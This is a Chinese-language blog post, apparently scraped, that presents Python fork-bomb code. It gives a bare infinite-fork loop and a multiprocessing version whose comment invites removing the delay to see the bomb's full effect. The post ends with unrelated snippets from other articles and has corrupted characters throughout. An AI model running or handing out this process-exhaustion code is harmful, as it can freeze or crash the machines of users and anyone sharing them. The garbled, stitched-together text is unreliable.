使用python建立跨平台的fork 炸彈

2021-10-02 12:30:38 字數 867 閱讀 5921

程序炸彈執行截圖

這是乙個用python實現的最簡單的fork炸彈

import os

while true:

os.****()

以下程式僅供學習之用,為避免對系統的造成損傷,已經進行了延時處理

from multiprocessing import process

import os

import time

g_boom_num = 1

def boom():

print("炸彈的程序號為%d"%os.getpid())

pass

# 主函式

def main():

global g_boom_num

while true:

# 建立乙個炸彈(子程序)

bo = process(target = boom)

# 引**彈...

bo.start()

# 為炸彈計數

g_boom_num += 1

print("建立第%d個炸彈"%g_boom_num)

# 建立乙個炸彈後延時2秒鐘,如果想試試程序炸彈的威力,可以把下面這行注釋掉...

time.sleep(2)

# 開啟入口,啟動主程式

if __name__ == "__main__":

main()

python處理跨平台應用

在工作中處理應用程式維護,遇到很多問題終於還是搞定了。記下,後面補充具體問題。coding gbk import psutil import re import sys import string import time import subprocess def startprocess cwd ...

跨平台kivy庫使用

最近發現了乙個不錯的跨平台開發庫,kivy 官網 類似qt,其 可以在windows,mac os,linux,android和ios上執行,大概了解了下使用,比較適合自己開發小工具吧,到實際專案估計得踩坑,具體還沒踩過,體驗下先。建立乙個應用程式有三步 2.該類中實現build 方法,初始化顯示w...

使用MonoDevelop開發跨平台的應用程式

mono 專案在3月31日發布了mono2.4和monodevelop 2.0版本,2009年6月3日lluis 在部落格上宣布了monodevelop是乙個完全跨平台的ide。mono計畫的主管miguel de icaza也在部落格上介紹了monodevelop 2.2版本。在 2003 年後期...